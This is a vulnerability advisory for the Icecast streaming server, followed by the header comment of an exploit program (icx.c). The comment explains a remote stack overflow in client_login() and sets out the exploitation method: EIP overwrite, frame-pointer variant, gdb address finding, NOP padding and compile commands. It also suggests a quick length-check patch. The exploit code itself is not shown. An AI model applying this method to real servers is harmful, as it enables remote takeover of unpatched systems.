Icecast is a freely available, open source streaming audio server. Icecast is available for the Unix, Linux, and Microsoft Windows platforms.

Icecast does not properly check bounds on data sent from clients. Because of this, it is possible for a remote user to send an arbitrarily long string of data to the server, which could result in a stack overflow, and the execution of user supplied code. The code would be executed with the privileges of the Icecast server.

 * 
 * 	icx.c -- icecast remote shell/root  
 *
 *
 * Found 15-02-2002...exploited 16-02-2002 ;P	
 *
 * Affected:
 *  all versions up to 1.3.11 (current) 
 * 
 * the client_login() function is passed the full GET %s HTTP/1.0
 * string provided by a mp3 client. Somewhere along the way an evil 
 * string function overflows buffer bounds with our humpage.. We can 
 * overflow just enough to reach and overwrite an instruction pointer. 
 * Humpage occurs somewhere in the handling of the request string
 * between mount searching and request building...Havent been able
 * to locate the exact spot as of yet (just discovered bug yesterday 
 * investigating another possible overflow in icecast extract_vars() 
 * funtion) Also some libavl routines look mighty guilty..especially 
 * avl_destroy. I cant really be bothered to check all entry points. 
 *
 * This is why:
 *
 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep strcpy all.c | wc -w
 *    284
 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep sprintf all.c | wc -w
 *    568
 * root@blackout:/home/diz/audits/icecast-1.3.11/src > grep strcat all.c | wc -w
 *     68
 * root@blackout:/home/diz/audits/icecast-1.3.11/src >                    
 *
 *
 * A quick and dirty patch is to check and make sure the length of expr does not
 * surpass 8000 bytes ala in client_login() in /src/client.c and recompile:
 * 
 * // dirty fix
 * if(strlen(expr) > 8000) 
 *	return;
 * // end of dirty fix
 *
 * What can we do:
 *
 * We can either overwrite a framepointer and make the process pop an 
 * instruction pointer out of memory we control. Or overflow eip directly. 
 * 
 * We go for the direct eip hump(tm)
 *
 * For framepointer humpage:
 *
 * Finding the address to overflow ebp with to make esp
 * point into the start of our buffer is easy..just gdb the
 * target platform icecast binary and set a breakpoint in
 * the client_login() function..output will be like this
 *
 * ...
 *  Breakpoint 1, 0x804af49 in client_login (con=0x808d0f0, expr=0xbf3fdaf4
 *  "GET ", 'x' <repeats 196 times>...) at client.c:97
 *  97      void client_login(connection_t *con, char *expr)
 * ...
 *
 * expr is a pointer to our original string..so we know that
 * is the start of our string in memory. Luck would have it we can just 
 * use that exact address and with pop incrementing it works out
 * to be correct and point to the start of our eip bytes :)
 * or into nops on a normal overflow. (which we will be doing)
 *
 * !!! Attention:
 *
 * When we just go for eip in one go we also need this address because
 * icecast will only give us one go :( so we can't offset and brute it
 * allthough we CAN pad with 7000+ nops..so finding a decent one go
 * compromise shouldnt be that much of a problem :)
 *
 * 			diz - #temp
 *
 * special word to pip and blink for helping me gather expr addresses
 * 
 * word to: eric, n0b0dy, muska, alcapone, sj, primalux, vonguard
 * 		khromy, jesse666 and r0ss
 * 
 * !!! A big "we hope leprosy strikes thee down!" to 2600.net !!!
 *
 * to compile standard overflow sploit: gcc icx.c -o icx 
 * to compile framepointer overflow sploit: gcc icx.c -o icx -DFPO
 *
 * note: for practical exploit usage just use standard mode
 * framepointer bits are left in cuz Im toying with them
 *
 * 	this version is meant for linux x86 targets 
 *
 *     PATCHES!?!?! WE DON'T NEED NO STINKIN PATCHES!!!
